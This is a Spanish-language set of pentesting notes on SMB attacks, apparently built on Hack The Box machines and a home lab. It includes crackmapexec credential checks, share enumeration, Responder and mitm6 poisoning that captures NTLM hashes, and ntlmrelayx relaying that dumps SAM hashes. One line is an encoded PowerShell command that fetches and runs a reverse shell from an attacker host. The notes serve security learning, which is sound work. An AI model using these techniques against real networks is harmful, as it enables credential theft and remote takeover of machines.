SMB - 445
SMB - 445
Uso de crackmapexec
Escaneo básico
crackmapexec smb 10.10.10.192
Validación de credenciales
crackmapexec smb 10.10.10.192 -u support -p '#00^BlackKnight'
Es posible que sean solamente válidas a nivel de Workstation y no de dominio
crackmapexec smb 10.10.10.125 -u 'reporting' -p 'PcwTWTHRwryjc$c6'
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)
SMB 10.10.10.125 445 QUERIER [-] HTB.LOCAL\reporting:PcwTWTHRwryjc$c6 STATUS_NO_LOGON_SERVERS
crackmapexec smb 10.10.10.125 -u 'reporting' -p 'PcwTWTHRwryjc$c6' -d WORKSTATION
SMB 10.10.10.125 445 QUERIER [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:WORKSTATION) (signing:False) (SMBv1:False)
SMB 10.10.10.125 445 QUERIER [+] WORKSTATION\reporting:PcwTWTHRwryjc$c6
Montura en Sistema Local
Básica (Null Session)
root@kali# mount -t cifs //10.10.10.192/profiles$ /mnt
Password for root@//10.10.10.192/profiles$:
Leer permisos
for i in $(cat users); do echo -e "\nDirectorio $i"; smbcacls "//10.10.10.103/Department Shares" Users/$i -N | grep Everyone; done
Directorio amanda
ACL:Everyone:ALLOWED/OI|CI|I/READ
Directorio amanda_adm
ACL:Everyone:ALLOWED/OI|CI|I/READ
Directorio bill
ACL:Everyone:ALLOWED/OI|CI|I/READ
Directorio bob
ACL:Everyone:ALLOWED/OI|CI|I/READ
Directorio chris
ACL:Everyone:ALLOWED/OI|CI|I/READ
Directorio henry
ACL:Everyone:ALLOWED/OI|CI|I/READ
Directorio joe
ACL:Everyone:ALLOWED/OI|CI|I/READ
Directorio jose
ACL:Everyone:ALLOWED/OI|CI|I/READ
Directorio lkys37en
ACL:Everyone:ALLOWED/OI|CI|I/READ
Directorio morgan
ACL:Everyone:ALLOWED/OI|CI|I/READ
Directorio mrb3n
ACL:Everyone:ALLOWED/OI|CI|I/READ
Directorio Public
ACL:Everyone:ALLOWED/OI|CI/FULL
ACL:Everyone:ALLOWED/OI|CI|I/READ
Listar recursos con smbmap
smbmap
smbmap -H 10.10.10.103 -u 'null'
[+] Guest session IP: 10.10.10.103:445 Name: htb.local
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
CertEnroll NO ACCESS Active Directory Certificate Services share
Department Shares READ ONLY
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
Operations NO ACCESS
SYSVOL NO ACCESS Logon server share
Listar para uno de ellos
smbmap -H 10.10.10.103 -u 'null' -r 'Department Shares'
[+] Guest session IP: 10.10.10.103:445 Name: htb.local
Disk Permissions Comment
---- ----------- -------
Department Shares READ ONLY
.\Department Shares\*
dr--r--r-- 0 Tue Jul 3 15:22:32 2018 .
dr--r--r-- 0 Tue Jul 3 15:22:32 2018 ..
dr--r--r-- 0 Mon Jul 2 19:21:43 2018 Accounting
dr--r--r-- 0 Mon Jul 2 19:14:28 2018 Audit
dr--r--r-- 0 Tue Jul 3 15:22:39 2018 Banking
dr--r--r-- 0 Mon Jul 2 19:15:01 2018 CEO_protected
dr--r--r-- 0 Mon Jul 2 19:22:06 2018 Devops
dr--r--r-- 0 Mon Jul 2 19:11:57 2018 Finance
dr--r--r-- 0 Mon Jul 2 19:16:11 2018 HR
dr--r--r-- 0 Mon Jul 2 19:14:24 2018 Infosec
dr--r--r-- 0 Mon Jul 2 19:13:59 2018 Infrastructure
dr--r--r-- 0 Mon Jul 2 19:12:04 2018 IT
dr--r--r-- 0 Mon Jul 2 19:12:09 2018 Legal
dr--r--r-- 0 Mon Jul 2 19:15:25 2018 M&A
dr--r--r-- 0 Mon Jul 2 19:14:43 2018 Marketing
dr--r--r-- 0 Mon Jul 2 19:11:47 2018 R&D
dr--r--r-- 0 Mon Jul 2 19:14:37 2018 Sales
dr--r--r-- 0 Mon Jul 2 19:21:46 2018 Security
dr--r--r-- 0 Mon Jul 2 19:16:54 2018 Tax
dr--r--r-- 0 Tue Jul 10 21:39:32 2018 Users
dr--r--r-- 0 Mon Jul 2 19:32:58 2018 ZZ_ARCHIVE
SMB Relay
La configuración del Responder.conf
tiene que estar setteado todo en ON. En caso de que el SMB no esté firmado, es posible obtener hashes NetNTLMv2 al producir un envenamiento
responder -I eth0 -wd
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
To support this project:
Patreon -> https://www.patreon.com/PythonResponder
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
[*] [MDNS] Poisoned answer sent to fe80::783b:4dc8:d923:cdeb for name cualquiercosa.local
[*] [MDNS] Poisoned answer sent to 192.168.16.132 for name cualquiercosa.local
[*] [MDNS] Poisoned answer sent to fe80::783b:4dc8:d923:cdeb for name cualquiercosa.local
[*] [LLMNR] Poisoned answer sent to fe80::783b:4dc8:d923:cdeb for name cualquiercosa
[*] [LLMNR] Poisoned answer sent to 192.168.16.132 for name cualquiercosa
[*] [LLMNR] Poisoned answer sent to fe80::783b:4dc8:d923:cdeb for name cualquiercosa
[*] [LLMNR] Poisoned answer sent to 192.168.16.132 for name cualquiercosa
[WebDAV] NTLMv2 Client : fe80::783b:4dc8:d923:cdeb
[WebDAV] NTLMv2 Username : RUBBX\user01
[WebDAV] NTLMv2 Hash : user01::RUBBX:29fd44967d893b59:E210D76399AD8D2B73B29DDAB13DF95B:0101000000000000A1730CF54E98D9014A64453857E14CB400000000020008004C0053003200360001001E00570049004E002D0052005A00410050004A00380051004A0053004C005600040014004C005300320036002E004C004F00430041004C0003003400570049004E002D0052005A00410050004A00380051004A0053004C0056002E004C005300320036002E004C004F00430041004C00050014004C005300320036002E004C004F00430041004C000800300030000000000000000000000000200000137D0169A34432EABE99BB607B689E53D1D72DC9DC72D39DA0EFFB7AEFF016650A001000000000000000000000000000000000000900300048005400540050002F006300750061006C007100750069006500720063006F00730061002E006C006F00630061006C000000000000000000
En caso de estar en tenencia de credenciales de un usuario Administrador local, se puede hacer lo siguiente:
crackmapexec smb 192.168.16.0/24 -u 'user01' -p 'Password1'
SMB 192.168.16.140 445 DC [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC) (domain:rubbx.local) (signing:True) (SMBv1:True)
SMB 192.168.16.137 445 PC-02 [*] Windows 10.0 Build 19041 x64 (name:PC-02) (domain:rubbx.local) (signing:False) (SMBv1:False)
SMB 192.168.16.132 445 PC-02 [*] Windows 10.0 Build 19041 x64 (name:PC-02) (domain:rubbx.local) (signing:False) (SMBv1:False)
SMB 192.168.16.140 445 DC [+] rubbx.local\user01:Password1
SMB 192.168.16.137 445 PC-02 [+] rubbx.local\user01:Password1 (Pwn3d!)
SMB 192.168.16.132 445 PC-02 [+] rubbx.local\user01:Password1 (Pwn3d!)
En la configuración del Responder
, modifico el HTTP y SMB a OFF. CReo un archivo targets.txt
que va a contener la IP de un cliente, en mi caso, la 192.168.16.132
. Vuelvo a ejeuctar de la misma manera de antes, pero añadiendo el ntlmrelayx.py
ntlmrelayx.py -tf targets.txt -smb2support
De esta manera, puedo dumpear la SAM del equipo para hacer posteriormente un PassTheHash
ntlmrelayx.py -tf targets.txt -smb2support
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] SMBD-Thread-24 (process_request_thread): Connection from RUBBX/[email protected] controlled, but there are no more targets left!
[*] SMBD-Thread-25 (process_request_thread): Connection from RUBBX/[email protected] controlled, but there are no more targets left!
[*] SMBD-Thread-26 (process_request_thread): Connection from RUBBX/[email protected] controlled, but there are no more targets left!
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] HTTPD(80): Connection from RUBBX/[email protected] controlled, but there are no more targets left!
[*] SMBD-Thread-28 (process_request_thread): Connection from RUBBX/[email protected] controlled, but there are no more targets left!
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] SMBD-Thread-29 (process_request_thread): Connection from RUBBX/[email protected] controlled, but there are no more targets left!
[*] SMBD-Thread-30 (process_request_thread): Connection from RUBBX/[email protected] controlled, but there are no more targets left!
[*] SMBD-Thread-31 (process_request_thread): Connection from RUBBX/[email protected] controlled, but there are no more targets left!
[*] SMBD-Thread-32 (process_request_thread): Connection from RUBBX/[email protected] controlled, but there are no more targets left!
[*] SMBD-Thread-33 (process_request_thread): Connection from RUBBX/[email protected] controlled, but there are no more targets left!
[*] SMBD-Thread-34 (process_request_thread): Connection from RUBBX/[email protected] controlled, but there are no more targets left!
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0aa1c85bd5838f4a17f9f27d971073fb:::
[*] SMBD-Thread-35 (process_request_thread): Connection from RUBBX/[email protected] controlled, but there are no more targets left!
[*] SMBD-Thread-36 (process_request_thread): Connection from RUBBX/[email protected] controlled, but there are no more targets left!
[*] HTTPD(80): Connection from RUBBX/[email protected] controlled, but there are no more targets left!
Usuario:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
user02:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
Incluso se puede llegar a ejecutar comandos
ntlmrelayx.py -tf targets.txt -smb2support -c 'powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxADYALgAxADMAMAAvAEkAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAGMAcAAuAHAAcwAxACIAKQA='
Puede darse el caso de que por IPv4 el SMB esté firmado, pero por IPv6, es posible hacer un realme de las credenciales para ejecutar comandos como otro usuario sin conocer la contraseña. Por defecto, todas las máquinas Windows solicitan tráfico IPv6. Por tanto, el envenenamiento tiene que efectuarse por este protocolo
mitm6 -d rubbx.local
Starting mitm6 using the following configuration:
Primary adapter: eth0 [00:0c:29:04:90:35]
IPv4 address: 192.168.16.130
IPv6 address: fe80::20c:29ff:fe04:9035
DNS local search domain: rubbx.local
DNS allowlist: rubbx.local
IPv6 address fe80::397:1 is now assigned to mac=00:50:56:c0:00:08 host=DESKTOP-5MC9541. ipv4=
IPv6 address fe80::397:2 is now assigned to mac=00:0c:29:ad:61:9a host=PC-02.rubbx.local. ipv4=
IPv6 address fe80::397:3 is now assigned to mac=00:0c:29:bc:79:5e host=PC-02.rubbx.local. ipv4=
Sent spoofed reply for wpad.rubbx.local. to fe80::397:1
Con esto lo que se consigue es que la Puerta de Enlace Predeterminada se convierta en mi dirección IPv6
PS C:\Users\user01> ipconfig /all
Configuración IP de Windows
Nombre de host. . . . . . . . . : PC-02
Sufijo DNS principal . . . . . : rubbx.local
Tipo de nodo. . . . . . . . . . : híbrido
Enrutamiento IP habilitado. . . : no
Proxy WINS habilitado . . . . . : no
Lista de búsqueda de sufijos DNS: rubbx.local
Adaptador de Ethernet Ethernet0:
Sufijo DNS específico para la conexión. . : localdomain
Descripción . . . . . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
Dirección física. . . . . . . . . . . . . : 00-0C-29-AD-61-9A
DHCP habilitado . . . . . . . . . . . . . : sí
Configuración automática habilitada . . . : sí
Vínculo: dirección IPv6 local. . . : fe80::192:168:16:132%13(Preferido)
Concesión obtenida. . . . . . . . . . . . : martes, 6 de junio de 2023 11:21:38
La concesión expira . . . . . . . . . . . : martes, 6 de junio de 2023 11:29:59
Vínculo: dirección IPv6 local. . . : fe80::783b:4dc8:d923:cdeb%13(Preferido)
Dirección IPv4. . . . . . . . . . . . . . : 192.168.16.132(Preferido)
Máscara de subred . . . . . . . . . . . . : 255.255.255.0
Concesión obtenida. . . . . . . . . . . . : martes, 6 de junio de 2023 11:19:21
La concesión expira . . . . . . . . . . . : martes, 6 de junio de 2023 11:49:23
Puerta de enlace predeterminada . . . . . : 192.168.16.2
Servidor DHCP . . . . . . . . . . . . . . : 192.168.16.254
IAID DHCPv6 . . . . . . . . . . . . . . . : 100666409
DUID de cliente DHCPv6. . . . . . . . . . : 00-01-00-01-2C-10-AB-0D-00-0C-29-AD-61-9A
Servidores DNS. . . . . . . . . . . . . . : fe80::20c:29ff:fe04:9035%13
192.168.16.140
1.1.1.1
Servidor WINS principal . . . . . . . . . : 192.168.16.2
NetBIOS sobre TCP/IP. . . . . . . . . . . : habilitado
Lista de búsqueda de sufijos DNS específicos de conexión:
rubbx.local
Adaptador de Ethernet Conexión de red Bluetooth:
Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DNS específico para la conexión. . :
Descripción . . . . . . . . . . . . . . . : Bluetooth Device (Personal Area Network)
Dirección física. . . . . . . . . . . . . : 70-66-55-5B-B7-FA
DHCP habilitado . . . . . . . . . . . . . : sí
Configuración automática habilitada . . . : sí
Obtener todas las rutas de SMB con spyder
crackmapexec smb 10.10.11.187 -u 'svc_apache' -p 'S@Ss!K@*t13' -M spider_plus --spider users
SMB 10.10.11.187 445 G0 [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SPIDER_P... 10.10.11.187 445 G0 [*] Started spidering plus with option:
SPIDER_P... 10.10.11.187 445 G0 [*] DIR: ['print$']
SPIDER_P... 10.10.11.187 445 G0 [*] EXT: ['ico', 'lnk']
SPIDER_P... 10.10.11.187 445 G0 [*] SIZE: 51200
SPIDER_P... 10.10.11.187 445 G0 [*] OUTPUT: /tmp/cme_spider_plus
SPIDER_P... 10.10.11.187 445 G0 [*] Reconnect to server 4
SMB 10.10.11.187 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SPIDER_P... 10.10.11.187 445 G0 [*] Reconnect to server 3
SMB 10.10.11.187 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SPIDER_P... 10.10.11.187 445 G0 [*] Reconnect to server 2
SMB 10.10.11.187 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SPIDER_P... 10.10.11.187 445 G0 [*] Reconnect to server 1
SMB 10.10.11.187 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SPIDER_P... 10.10.11.187 445 G0 [*] Reconnect to server 0
SMB 10.10.11.187 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
cat 10.10.11.187.json | jq '. | map_values(keys)' | grep -oP '".*?"' | tr -d '"' > routes.txt
Last updated